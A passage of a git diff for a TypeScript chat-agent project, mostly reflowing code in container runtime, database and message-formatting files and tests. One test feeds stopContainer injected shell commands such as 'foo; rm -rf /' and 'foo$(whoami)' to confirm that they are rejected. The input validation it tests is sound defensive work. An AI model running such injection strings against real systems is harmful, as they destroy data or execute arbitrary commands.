container.on('error', (err) => { clearTimeout(timeout); - logger.error( - { group: group.name, containerName, error: err }, - 'Container spawn error', - ); + logger.error({ group: group.name, containerName, error: err }, 'Container spawn error'); resolve({ status: 'error', result: null, @@ -708,9 +632,7 @@ export function writeTasksSnapshot( fs.mkdirSync(groupIpcDir, { recursive: true }); // Main sees all tasks, others only see their own - const filteredTasks = isMain - ? tasks - : tasks.filter((t) => t.groupFolder === groupFolder); + const filteredTasks = isMain ? tasks : tasks.filter((t) => t.groupFolder === groupFolder); const tasksFile = path.join(groupIpcDir, 'current_tasks.json'); fs.writeFileSync(tasksFile, JSON.stringify(filteredTasks, null, 2)); diff --git a/src/container-runtime.test.ts b/src/container-runtime.test.ts index dbb2bbc..94e14e9 100644 --- a/src/container-runtime.test.ts +++ b/src/container-runtime.test.ts @@ -41,19 +41,14 @@ describe('readonlyMountArgs', () => { describe('stopContainer', () => { it('calls docker stop for valid container names', () => { stopContainer('nanoclaw-test-123'); - expect(mockExecSync).toHaveBeenCalledWith( - `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-test-123`, - { stdio: 'pipe' }, - ); + expect(mockExecSync).toHaveBeenCalledWith(`${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-test-123`, { + stdio: 'pipe', + }); }); it('rejects names with shell metacharacters', () => { - expect(() => stopContainer('foo; rm -rf /')).toThrow( - 'Invalid container name', - ); - expect(() => stopContainer('foo$(whoami)')).toThrow( - 'Invalid container name', - ); + expect(() => stopContainer('foo; rm -rf /')).toThrow('Invalid container name'); + expect(() => stopContainer('foo$(whoami)')).toThrow('Invalid container name'); expect(() => stopContainer('foo`id`')).toThrow('Invalid container name'); expect(mockExecSync).not.toHaveBeenCalled(); }); @@ -72,9 +67,7 @@ describe('ensureContainerRuntimeRunning', () => { stdio: 'pipe', timeout: 10000, }); - expect(logger.debug).toHaveBeenCalledWith( - 'Container runtime already running', - ); + expect(logger.debug).toHaveBeenCalledWith('Container runtime already running'); }); it('throws when docker info fails', () => { @@ -82,9 +75,7 @@ describe('ensureContainerRuntimeRunning', () => { throw new Error('Cannot connect to the Docker daemon'); }); - expect(() => ensureContainerRuntimeRunning()).toThrow( - 'Container runtime is required but failed to start', - ); + expect(() => ensureContainerRuntimeRunning()).toThrow('Container runtime is required but failed to start'); expect(logger.error).toHaveBeenCalled(); }); }); @@ -94,9 +85,7 @@ describe('ensureContainerRuntimeRunning', () => { describe('cleanupOrphans', () => { it('stops orphaned nanoclaw containers', () => { // docker ps returns container names, one per line - mockExecSync.mockReturnValueOnce( - 'nanoclaw-group1-111\nnanoclaw-group2-222\n', - ); + mockExecSync.mockReturnValueOnce('nanoclaw-group1-111\nnanoclaw-group2-222\n'); // stop calls succeed mockExecSync.mockReturnValue(''); @@ -104,16 +93,12 @@ describe('cleanupOrphans', () => { // ps + 2 stop calls expect(mockExecSync).toHaveBeenCalledTimes(3); - expect(mockExecSync).toHaveBeenNthCalledWith( - 2, - `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group1-111`, - { stdio: 'pipe' }, - ); - expect(mockExecSync).toHaveBeenNthCalledWith( - 3, - `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group2-222`, - { stdio: 'pipe' }, - ); + expect(mockExecSync).toHaveBeenNthCalledWith(2, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group1-111`, { + stdio: 'pipe', + }); + expect(mockExecSync).toHaveBeenNthCalledWith(3, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group2-222`, { + stdio: 'pipe', + }); expect(logger.info).toHaveBeenCalledWith( { count: 2, names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'] }, 'Stopped orphaned containers', diff --git a/src/container-runtime.ts b/src/container-runtime.ts index beaedfa..678a708 100644 --- a/src/container-runtime.ts +++ b/src/container-runtime.ts @@ -20,10 +20,7 @@ export function hostGatewayArgs(): string[] { } /** Returns CLI args for a readonly bind mount. */ -export function readonlyMountArgs( - hostPath: string, - containerPath: string, -): string[] { +export function readonlyMountArgs(hostPath: string, containerPath: string): string[] { return ['-v', `${hostPath}:${containerPath}:ro`]; } @@ -45,30 +42,14 @@ export function ensureContainerRuntimeRunning(): void { logger.debug('Container runtime already running'); } catch (err) { logger.error({ err }, 'Failed to reach container runtime'); - console.error( - '\n╔════════════════════════════════════════════════════════════════╗', - ); - console.error( - '║ FATAL: Container runtime failed to start ║', - ); - console.error( - '║ ║', - ); - console.error( - '║ Agents cannot run without a container runtime. To fix: ║', - ); - console.error( - '║ 1. Ensure Docker is installed and running ║', - ); - console.error( - '║ 2. Run: docker info ║', - ); - console.error( - '║ 3. Restart NanoClaw ║', - ); - console.error( - '╚════════════════════════════════════════════════════════════════╝\n', - ); + console.error('\n╔════════════════════════════════════════════════════════════════╗'); + console.error('║ FATAL: Container runtime failed to start ║'); + console.error('║ ║'); + console.error('║ Agents cannot run without a container runtime. To fix: ║'); + console.error('║ 1. Ensure Docker is installed and running ║'); + console.error('║ 2. Run: docker info ║'); + console.error('║ 3. Restart NanoClaw ║'); + console.error('╚════════════════════════════════════════════════════════════════╝\n'); throw new Error('Container runtime is required but failed to start', { cause: err, }); @@ -78,10 +59,10 @@ export function ensureContainerRuntimeRunning(): void { /** Kill orphaned NanoClaw containers from previous runs. */ export function cleanupOrphans(): void { try { - const output = execSync( - `${CONTAINER_RUNTIME_BIN} ps --filter name=nanoclaw- --format '{{.Names}}'`, - { stdio: ['pipe', 'pipe', 'pipe'], encoding: 'utf-8' }, - ); + const output = execSync(`${CONTAINER_RUNTIME_BIN} ps --filter name=nanoclaw- --format '{{.Names}}'`, { + stdio: ['pipe', 'pipe', 'pipe'], + encoding: 'utf-8', + }); const orphans = output.trim().split('\n').filter(Boolean); for (const name of orphans) { try { @@ -91,10 +72,7 @@ export function cleanupOrphans(): void { } } if (orphans.length > 0) { - logger.info( - { count: orphans.length, names: orphans }, - 'Stopped orphaned containers', - ); + logger.info({ count: orphans.length, names: orphans }, 'Stopped orphaned containers'); } } catch (err) { logger.warn({ err }, 'Failed to clean up orphaned containers'); diff --git a/src/db-migration.test.ts b/src/db-migration.test.ts index e26873d..d15ba85 100644 --- a/src/db-migration.test.ts +++ b/src/db-migration.test.ts @@ -23,25 +23,18 @@ describe('database migrations', () => { ); `); legacyDb - .prepare( - `INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`, - ) + .prepare(`INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`) .run('tg:12345', 'Telegram DM', '2024-01-01T00:00:00.000Z'); legacyDb - .prepare( - `INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`, - ) + .prepare(`INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`) .run('tg:-10012345', 'Telegram Group', '2024-01-01T00:00:01.000Z'); legacyDb - .prepare( - `INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`, - ) + .prepare(`INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`) .run('room@g.us', 'WhatsApp Group', '2024-01-01T00:00:02.000Z'); legacyDb.close(); vi.resetModules(); - const { initDatabase, getAllChats, _closeDatabase } = - await import('./db.js'); + const { initDatabase, getAllChats, _closeDatabase } = await import('./db.js'); initDatabase(); diff --git a/src/db.test.ts b/src/db.test.ts index e10db20..74d0093 100644 --- a/src/db.test.ts +++ b/src/db.test.ts @@ -57,11 +57,7 @@ describe('storeMessage', () => { timestamp: '2024-01-01T00:00:01.000Z', }); - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); expect(messages[0].id).toBe('msg-1'); expect(messages[0].sender).toBe('123@s.whatsapp.net'); @@ -81,11 +77,7 @@ describe('storeMessage', () => { timestamp: '2024-01-01T00:00:04.000Z', }); - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(0); }); @@ -103,11 +95,7 @@ describe('storeMessage', () => { }); // Message is stored (we can retrieve it — is_from_me doesn't affect retrieval) - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); }); @@ -132,11 +120,7 @@ describe('storeMessage', () => { timestamp: '2024-01-01T00:00:01.000Z', }); - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); expect(messages[0].content).toBe('updated'); }); @@ -160,16 +144,10 @@ describe('reply context', () => { reply_to_sender_name: 'Bob', }); - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); expect(messages[0].reply_to_message_id).toBe('42'); - expect(messages[0].reply_to_message_content).toBe( - 'Are you coming tonight?', - ); + expect(messages[0].reply_to_message_content).toBe('Are you coming tonight?'); expect(messages[0].reply_to_sender_name).toBe('Bob'); }); @@ -185,11 +163,7 @@ describe('reply context', () => { timestamp: '2024-01-01T00:00:01.000Z', }); - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); expect(messages[0].reply_to_message_id).toBeNull(); expect(messages[0].reply_to_message_content).toBeNull(); @@ -211,11 +185,7 @@ describe('reply context', () => { reply_to_sender_name: 'Dave', }); - const { messages } = getNewMessages( - ['group@g.us'], - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const { messages } = getNewMessages(['group@g.us'], '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); expect(messages[0].reply_to_message_id).toBe('99'); expect(messages[0].reply_to_sender_name).toBe('Dave'); @@ -264,22 +234,14 @@ describe('getMessagesSince', () => { }); it('returns messages after the given timestamp', () => { - const msgs = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:02.000Z', - 'Andy', - ); + const msgs = getMessagesSince('group@g.us', '2024-01-01T00:00:02.000Z', 'Andy'); // Should exclude m1, m2 (before/at timestamp), m3 (bot message) expect(msgs).toHaveLength(1); expect(msgs[0].content).toBe('third'); }); it('excludes bot messages via is_bot_message flag', () => { - const msgs = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const msgs = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); const botMsgs = msgs.filter((m) => m.content === 'bot reply'); expect(botMsgs).toHaveLength(0); }); @@ -386,11 +348,7 @@ describe('getMessagesSince', () => { content: 'Andy: old bot reply', timestamp: '2024-01-01T00:00:05.000Z', }); - const msgs = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:04.000Z', - 'Andy', - ); + const msgs = getMessagesSince('group@g.us', '2024-01-01T00:00:04.000Z', 'Andy'); expect(msgs).toHaveLength(0); }); }); @@ -449,11 +407,7 @@ describe('getNewMessages', () => { }); it('filters by timestamp', () => { - const { messages } = getNewMessages( - ['group1@g.us', 'group2@g.us'], - '2024-01-01T00:00:02.000Z', - 'Andy', - ); + const { messages } = getNewMessages(['group1@g.us', 'group2@g.us'], '2024-01-01T00:00:02.000Z', 'Andy'); // Only g1 msg2 (after ts, not bot) expect(messages).toHaveLength(1); expect(messages[0].content).toBe('g1 msg2'); @@ -578,12 +532,7 @@ describe('message query LIMIT', () => { }); it('getNewMessages caps to limit and returns most recent in chronological order', () => { - const { messages, newTimestamp } = getNewMessages( - ['group@g.us'], - '2024-01-01T00:00:00.000Z', - 'Andy', - 3, - ); + const { messages, newTimestamp } = getNewMessages(['group@g.us'], '2024-01-01T00:00:00.000Z', 'Andy', 3); expect(messages).toHaveLength(3); expect(messages[0].content).toBe('message 8'); expect(messages[2].content).toBe('message 10'); @@ -594,12 +543,7 @@ describe('message query LIMIT', () => { }); it('getMessagesSince caps to limit and returns most recent in chronological order', () => { - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - 3, - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy', 3); expect(messages).toHaveLength(3); expect(messages[0].content).toBe('message 8'); expect(messages[2].content).toBe('message 10'); @@ -607,12 +551,7 @@ describe('message query LIMIT', () => { }); it('returns all messages when count is under the limit', () => { - const { messages } = getNewMessages( - ['group@g.us'], - '2024-01-01T00:00:00.000Z', - 'Andy', - 50, - ); + const { messages } = getNewMessages(['group@g.us'], '2024-01-01T00:00:00.000Z', 'Andy', 50); expect(messages).toHaveLength(10); }); }); diff --git a/src/db.ts b/src/db.ts index 591f2a8..d1484c7 100644 --- a/src/db.ts +++ b/src/db.ts @@ -5,12 +5,7 @@ import path from 'path'; import { ASSISTANT_NAME, DATA_DIR, STORE_DIR } from './config.js'; import { isValidGroupFolder } from './group-folder.js'; import { logger } from './logger.js'; -import { - NewMessage, - RegisteredGroup, - ScheduledTask, - TaskRunLog, -} from './types.js'; +import { NewMessage, RegisteredGroup, ScheduledTask, TaskRunLog } from './types.js'; let db: Database.Database; @@ -86,9 +81,7 @@ function createSchema(database: Database.Database): void { // Add context_mode column if it doesn't exist (migration for existing DBs) try { - database.exec( - `ALTER TABLE scheduled_tasks ADD COLUMN context_mode TEXT DEFAULT 'isolated'`, - ); + database.exec(`ALTER TABLE scheduled_tasks ADD COLUMN context_mode TEXT DEFAULT 'isolated'`); } catch { /* column already exists */ } @@ -102,26 +95,18 @@ function createSchema(database: Database.Database): void { // Add is_bot_message column if it doesn't exist (migration for existing DBs) try { - database.exec( - `ALTER TABLE messages ADD COLUMN is_bot_message INTEGER DEFAULT 0`, - ); + database.exec(`ALTER TABLE messages ADD COLUMN is_bot_message INTEGER DEFAULT 0`); // Backfill: mark existing bot messages that used the content prefix pattern - database - .prepare(`UPDATE messages SET is_bot_message = 1 WHERE content LIKE ?`) - .run(`${ASSISTANT_NAME}:%`); + database.prepare(`UPDATE messages SET is_bot_message = 1 WHERE content LIKE ?`).run(`${ASSISTANT_NAME}:%`); } catch { /* column already exists */ } // Add is_main column if it doesn't exist (migration for existing DBs) try { - database.exec( - `ALTER TABLE registered_groups ADD COLUMN is_main INTEGER DEFAULT 0`, - ); + database.exec(`ALTER TABLE registered_groups ADD COLUMN is_main INTEGER DEFAULT 0`); // Backfill: existing rows with folder = 'main' are the main group - database.exec( - `UPDATE registered_groups SET is_main = 1 WHERE folder = 'main'`, - ); + database.exec(`UPDATE registered_groups SET is_main = 1 WHERE folder = 'main'`); } catch { /* column already exists */ } @@ -131,18 +116,10 @@ function createSchema(database: Database.Database): void { database.exec(`ALTER TABLE chats ADD COLUMN channel TEXT`); database.exec(`ALTER TABLE chats ADD COLUMN is_group INTEGER DEFAULT 0`); // Backfill from JID patterns - database.exec( - `UPDATE chats SET channel = 'whatsapp', is_group = 1 WHERE jid LIKE '%@g.us'`, - ); - database.exec( - `UPDATE chats SET channel = 'whatsapp', is_group = 0 WHERE jid LIKE '%@s.whatsapp.net'`, - ); - database.exec( - `UPDATE chats SET channel = 'discord', is_group = 1 WHERE jid LIKE 'dc:%'`, - ); - database.exec( - `UPDATE chats SET channel = 'telegram', is_group = 0 WHERE jid LIKE 'tg:%'`, - ); + database.exec(`UPDATE chats SET channel = 'whatsapp', is_group = 1 WHERE jid LIKE '%@g.us'`); + database.exec(`UPDATE chats SET channel = 'whatsapp', is_group = 0 WHERE jid LIKE '%@s.whatsapp.net'`); + database.exec(`UPDATE chats SET channel = 'discord', is_group = 1 WHERE jid LIKE 'dc:%'`); + database.exec(`UPDATE chats SET channel = 'telegram', is_group = 0 WHERE jid LIKE 'tg:%'`); } catch { /* columns already exist */ } @@ -150,9 +127,7 @@ function createSchema(database: Database.Database): void { // Add reply context columns if they don't exist (migration for existing DBs) try { database.exec(`ALTER TABLE messages ADD COLUMN reply_to_message_id TEXT`); - database.exec( - `ALTER TABLE messages ADD COLUMN reply_to_message_content TEXT`, - ); + database.exec(`ALTER TABLE messages ADD COLUMN reply_to_message_content TEXT`); database.exec(`ALTER TABLE messages ADD COLUMN reply_to_sender_name TEXT`); } catch { /* columns already exist */ @@ -263,9 +238,9 @@ export function getAllChats(): ChatInfo[] { */ export function getLastGroupSync(): string | null { // Store sync time in a special chat entry - const row = db - .prepare(`SELECT last_message_time FROM chats WHERE jid = '__group_sync__'`) - .get() as { last_message_time: string } | undefined; + const row = db.prepare(`SELECT last_message_time FROM chats WHERE jid = '__group_sync__'`).get() as + | { last_message_time: string } + | undefined; return row?.last_message_time || null; } @@ -353,9 +328,7 @@ export function getNewMessages( ) ORDER BY timestamp `; - const rows = db - .prepare(sql) - .all(lastTimestamp, ...jids, `${botPrefix}:%`, limit) as NewMessage[]; + const rows = db.prepare(sql).all(lastTimestamp, ...jids, `${botPrefix}:%`, limit) as NewMessage[]; let newTimestamp = lastTimestamp; for (const row of rows) { @@ -386,15 +359,10 @@ export function getMessagesSince( LIMIT ? ) ORDER BY timestamp `; - return db - .prepare(sql) - .all(chatJid, sinceTimestamp, `${botPrefix}:%`, limit) as NewMessage[]; + return db.prepare(sql).all(chatJid, sinceTimestamp, `${botPrefix}:%`, limit) as NewMessage[]; } -export function getLastBotMessageTimestamp( - chatJid: string, - botPrefix: string, -): string | undefined { +export function getLastBotMessageTimestamp(chatJid: string, botPrefix: string): string | undefined { const row = db .prepare( `SELECT MAX(timestamp) as ts FROM messages @@ -404,9 +372,7 @@ export function getLastBotMessageTimestamp( return row?.ts ?? undefined; } -export function createTask( - task: Omit, -): void { +export function createTask(task: Omit): void { db.prepare( ` INSERT INTO scheduled_tasks (id, group_folder, chat_jid, prompt, script, schedule_type, schedule_value, context_mode, next_run, status, created_at) @@ -428,37 +394,23 @@ export function createTask( } export function getTaskById(id: string): ScheduledTask | undefined { - return db.prepare('SELECT * FROM scheduled_tasks WHERE id = ?').get(id) as - | ScheduledTask - | undefined; + return db.prepare('SELECT * FROM scheduled_tasks WHERE id = ?').get(id) as ScheduledTask | undefined; } export function getTasksForGroup(groupFolder: string): ScheduledTask[] { return db - .prepare( - 'SELECT * FROM scheduled_tasks WHERE group_folder = ? ORDER BY created_at DESC', - ) + .prepare('SELECT * FROM scheduled_tasks WHERE group_folder = ? ORDER BY created_at DESC') .all(groupFolder) as ScheduledTask[]; } export function getAllTasks(): ScheduledTask[] { - return db - .prepare('SELECT * FROM scheduled_tasks ORDER BY created_at DESC') - .all() as ScheduledTask[]; + return db.prepare('SELECT * FROM scheduled_tasks ORDER BY created_at DESC').all() as ScheduledTask[]; } export function updateTask( id: string, updates: Partial< - Pick< - ScheduledTask, - | 'prompt' - | 'script' - | 'schedule_type' - | 'schedule_value' - | 'next_run' - | 'status' - > + Pick >, ): void { const fields: string[] = []; @@ -492,9 +444,7 @@ export function updateTask( if (fields.length === 0) return; values.push(id); - db.prepare( - `UPDATE scheduled_tasks SET ${fields.join(', ')} WHERE id = ?`, - ).run(...values); + db.prepare(`UPDATE scheduled_tasks SET ${fields.join(', ')} WHERE id = ?`).run(...values); } export function deleteTask(id: string): void { @@ -516,11 +466,7 @@ export function getDueTasks(): ScheduledTask[] { .all(now) as ScheduledTask[]; } -export function updateTaskAfterRun( - id: string, - nextRun: string | null, - lastResult: string, -): void { +export function updateTaskAfterRun(id: string, nextRun: string | null, lastResult: string): void { const now = new Date().toISOString(); db.prepare( ` @@ -537,44 +483,31 @@ export function logTaskRun(log: TaskRunLog): void { INSERT INTO task_run_logs (task_id, run_at, duration_ms, status, result, error) VALUES (?, ?, ?, ?, ?, ?) `, - ).run( - log.task_id, - log.run_at, - log.duration_ms, - log.status, - log.result, - log.error, - ); + ).run(log.task_id, log.run_at, log.duration_ms, log.status, log.result, log.error); } // --- Router state accessors --- export function getRouterState(key: string): string | undefined { - const row = db - .prepare('SELECT value FROM router_state WHERE key = ?') - .get(key) as { value: string } | undefined; + const row = db.prepare('SELECT value FROM router_state WHERE key = ?').get(key) as { value: string } | undefined; return row?.value; } export function setRouterState(key: string, value: string): void { - db.prepare( - 'INSERT OR REPLACE INTO router_state (key, value) VALUES (?, ?)', - ).run(key, value); + db.prepare('INSERT OR REPLACE INTO router_state (key, value) VALUES (?, ?)').run(key, value); } // --- Session accessors --- export function getSession(groupFolder: string): string | undefined { - const row = db - .prepare('SELECT session_id FROM sessions WHERE group_folder = ?') - .get(groupFolder) as { session_id: string } | undefined; + const row = db.prepare('SELECT session_id FROM sessions WHERE group_folder = ?').get(groupFolder) as + | { session_id: string } + | undefined; return row?.session_id; } export function setSession(groupFolder: string, sessionId: string): void { - db.prepare( - 'INSERT OR REPLACE INTO sessions (group_folder, session_id) VALUES (?, ?)', - ).run(groupFolder, sessionId); + db.prepare('INSERT OR REPLACE INTO sessions (group_folder, session_id) VALUES (?, ?)').run(groupFolder, sessionId); } export function deleteSession(groupFolder: string): void { @@ -582,9 +515,10 @@ export function deleteSession(groupFolder: string): void { } export function getAllSessions(): Record { - const rows = db - .prepare('SELECT group_folder, session_id FROM sessions') - .all() as Array<{ group_folder: string; session_id: string }>; + const rows = db.prepare('SELECT group_folder, session_id FROM sessions').all() as Array<{ + group_folder: string; + session_id: string; + }>; const result: Record = {}; for (const row of rows) { result[row.group_folder] = row.session_id; @@ -594,12 +528,8 @@ export function getAllSessions(): Record { // --- Registered group accessors --- -export function getRegisteredGroup( - jid: string, -): (RegisteredGroup & { jid: string }) | undefined { - const row = db - .prepare('SELECT * FROM registered_groups WHERE jid = ?') - .get(jid) as +export function getRegisteredGroup(jid: string): (RegisteredGroup & { jid: string }) | undefined { + const row = db.prepare('SELECT * FROM registered_groups WHERE jid = ?').get(jid) as | { jid: string; name: string; @@ -613,10 +543,7 @@ export function getRegisteredGroup( | undefined; if (!row) return undefined; if (!isValidGroupFolder(row.folder)) { - logger.warn( - { jid: row.jid, folder: row.folder }, - 'Skipping registered group with invalid folder', - ); + logger.warn({ jid: row.jid, folder: row.folder }, 'Skipping registered group with invalid folder'); return undefined; } return { @@ -625,11 +552,8 @@ export function getRegisteredGroup( folder: row.folder, trigger: row.trigger_pattern, added_at: row.added_at, - containerConfig: row.container_config - ? JSON.parse(row.container_config) - : undefined, - requiresTrigger: - row.requires_trigger === null ? undefined : row.requires_trigger === 1, + containerConfig: row.container_config ? JSON.parse(row.container_config) : undefined, + requiresTrigger: row.requires_trigger === null ? undefined : row.requires_trigger === 1, isMain: row.is_main === 1 ? true : undefined, }; } @@ -667,10 +591,7 @@ export function getAllRegisteredGroups(): Record { const result: Record = {}; for (const row of rows) { if (!isValidGroupFolder(row.folder)) { - logger.warn( - { jid: row.jid, folder: row.folder }, - 'Skipping registered group with invalid folder', - ); + logger.warn({ jid: row.jid, folder: row.folder }, 'Skipping registered group with invalid folder'); continue; } result[row.jid] = { @@ -678,11 +599,8 @@ export function getAllRegisteredGroups(): Record { folder: row.folder, trigger: row.trigger_pattern, added_at: row.added_at, - containerConfig: row.container_config - ? JSON.parse(row.container_config) - : undefined, - requiresTrigger: - row.requires_trigger === null ? undefined : row.requires_trigger === 1, + containerConfig: row.container_config ? JSON.parse(row.container_config) : undefined, + requiresTrigger: row.requires_trigger === null ? undefined : row.requires_trigger === 1, isMain: row.is_main === 1 ? true : undefined, }; } @@ -714,18 +632,12 @@ function migrateJsonState(): void { setRouterState('last_timestamp', routerState.last_timestamp); } if (routerState.last_agent_timestamp) { - setRouterState( - 'last_agent_timestamp', - JSON.stringify(routerState.last_agent_timestamp), - ); + setRouterState('last_agent_timestamp', JSON.stringify(routerState.last_agent_timestamp)); } } // Migrate sessions.json - const sessions = migrateFile('sessions.json') as Record< - string, - string - > | null; + const sessions = migrateFile('sessions.json') as Record | null; if (sessions) { for (const [folder, sessionId] of Object.entries(sessions)) { setSession(folder, sessionId); @@ -733,19 +645,13 @@ function migrateJsonState(): void { } // Migrate registered_groups.json - const groups = migrateFile('registered_groups.json') as Record< - string, - RegisteredGroup - > | null; + const groups = migrateFile('registered_groups.json') as Record | null; if (groups) { for (const [jid, group] of Object.entries(groups)) { try { setRegisteredGroup(jid, group); } catch (err) { - logger.warn( - { jid, folder: group.folder, err }, - 'Skipping migrated registered group with invalid folder', - ); + logger.warn({ jid, folder: group.folder, err }, 'Skipping migrated registered group with invalid folder'); } } } diff --git a/src/env.ts b/src/env.ts index 82cd5c3..064e6f8 100644 --- a/src/env.ts +++ b/src/env.ts @@ -31,8 +31,7 @@ export function readEnvFile(keys: string[]): Record { let value = trimmed.slice(eqIdx + 1).trim(); if ( value.length >= 2 && - ((value.startsWith('"') && value.endsWith('"')) || - (value.startsWith("'") && value.endsWith("'"))) + ((value.startsWith('"') && value.endsWith('"')) || (value.startsWith("'") && value.endsWith("'"))) ) { value = value.slice(1, -1); } diff --git a/src/formatting.test.ts b/src/formatting.test.ts index 2563576..d0b361a 100644 --- a/src/formatting.test.ts +++ b/src/formatting.test.ts @@ -1,16 +1,7 @@ import { describe, it, expect } from 'vitest'; -import { - ASSISTANT_NAME, - getTriggerPattern, - TRIGGER_PATTERN, -} from './config.js'; -import { - escapeXml, - formatMessages, - formatOutbound, - stripInternalTags, -} from './router.js'; +import { ASSISTANT_NAME, getTriggerPattern, TRIGGER_PATTERN } from './config.js'; +import { escapeXml, formatMessages, formatOutbound, stripInternalTags } from './router.js'; import { NewMessage } from './types.js'; function makeMsg(overrides: Partial = {}): NewMessage { @@ -45,9 +36,7 @@ describe('escapeXml', () => { }); it('handles multiple special characters together', () => { - expect(escapeXml('a & b < c > d "e"')).toBe( - 'a & b < c > d "e"', - ); + expect(escapeXml('a & b < c > d "e"')).toBe('a & b < c > d "e"'); }); it('passes through strings with no special chars', () => { @@ -100,13 +89,8 @@ describe('formatMessages', () => { }); it('escapes special characters in content', () => { - const result = formatMessages( - [makeMsg({ content: '' })], - TZ, - ); - expect(result).toContain( - '<script>alert("xss")</script>', - ); + const result = formatMessages([makeMsg({ content: '' })], TZ); + expect(result).toContain('<script>alert("xss")</script>'); }); it('handles empty array', () => { @@ -128,9 +112,7 @@ describe('formatMessages', () => { TZ, ); expect(result).toContain('reply_to="42"'); - expect(result).toContain( - 'Are you coming tonight?', - ); + expect(result).toContain('Are you coming tonight?'); expect(result).toContain('Yes, on my way!'); }); @@ -166,17 +148,12 @@ describe('formatMessages', () => { TZ, ); expect(result).toContain('from="A & B"'); - expect(result).toContain( - '<script>alert("xss")</script>', - ); + expect(result).toContain('<script>alert("xss")</script>'); }); it('converts timestamps to local time for given timezone', () => { // 2024-01-01T18:30:00Z in America/New_York (EST) = 1:30 PM - const result = formatMessages( - [makeMsg({ timestamp: '2024-01-01T18:30:00.000Z' })], - 'America/New_York', - ); + const result = formatMessages([makeMsg({ timestamp: '2024-01-01T18:30:00.000Z' })], 'America/New_York'); expect(result).toContain('1:30'); expect(result).toContain('PM'); expect(result).toContain(''); @@ -247,21 +224,15 @@ describe('getTriggerPattern', () => { describe('stripInternalTags', () => { it('strips single-line internal tags', () => { - expect(stripInternalTags('hello secret world')).toBe( - 'hello world', - ); + expect(stripInternalTags('hello secret world')).toBe('hello world'); }); it('strips multi-line internal tags', () => { - expect( - stripInternalTags('hello \nsecret\nstuff\n world'), - ).toBe('hello world'); + expect(stripInternalTags('hello \nsecret\nstuff\n world')).toBe('hello world'); }); it('strips multiple internal tag blocks', () => { - expect( - stripInternalTags('ahellob'), - ).toBe('hello'); + expect(stripInternalTags('ahellob')).toBe('hello'); }); it('returns empty string when text is only internal tags', () => { @@ -279,9 +250,7 @@ describe('formatOutbound', () => { }); it('strips internal tags from remaining text', () => { - expect( - formatOutbound('thinkingThe answer is 42'), - ).toBe('The answer is 42'); + expect(formatOutbound('thinkingThe answer is 42')).toBe('The answer is 42'); }); }); @@ -290,10 +259,7 @@ describe('formatOutbound', () => { describe('trigger gating (requiresTrigger interaction)', () => { // Replicates the exact logic from processGroupMessages and startMessageLoop: // if (!isMainGroup && group.requiresTrigger !== false) { check group.trigger } - function shouldRequireTrigger( - isMainGroup: boolean, - requiresTrigger: boolean | undefined, - ): boolean { + function shouldRequireTrigger(isMainGroup: boolean, requiresTrigger: boolean | undefined): boolean { return !isMainGroup && requiresTrigger !== false; } diff --git a/src/group-folder.test.ts b/src/group-folder.test.ts index b88d268..cc77210 100644 --- a/src/group-folder.test.ts +++ b/src/group-folder.test.ts @@ -2,11 +2,7 @@ import path from 'path'; import { describe, expect, it } from 'vitest'; -import { - isValidGroupFolder, - resolveGroupFolderPath, - resolveGroupIpcPath, -} from './group-folder.js'; +import { isValidGroupFolder, resolveGroupFolderPath, resolveGroupIpcPath } from './group-folder.js'; describe('group folder validation', () => { it('accepts normal group folder names', () => { @@ -24,16 +20,12 @@ describe('group folder validation', () => { it('resolves safe paths under groups directory', () => { const resolved = resolveGroupFolderPath('family-chat'); - expect(resolved.endsWith(`${path.sep}groups${path.sep}family-chat`)).toBe( - true, - ); + expect(resolved.endsWith(`${path.sep}groups${path.sep}family-chat`)).toBe(true); }); it('resolves safe paths under data ipc directory', () => { const resolved = resolveGroupIpcPath('family-chat'); - expect( - resolved.endsWith(`${path.sep}data${path.sep}ipc${path.sep}family-chat`), - ).toBe(true); + expect(resolved.endsWith(`${path.sep}data${path.sep}ipc${path.sep}family-chat`)).toBe(true); }); it('throws for unsafe folder names', () => { diff --git 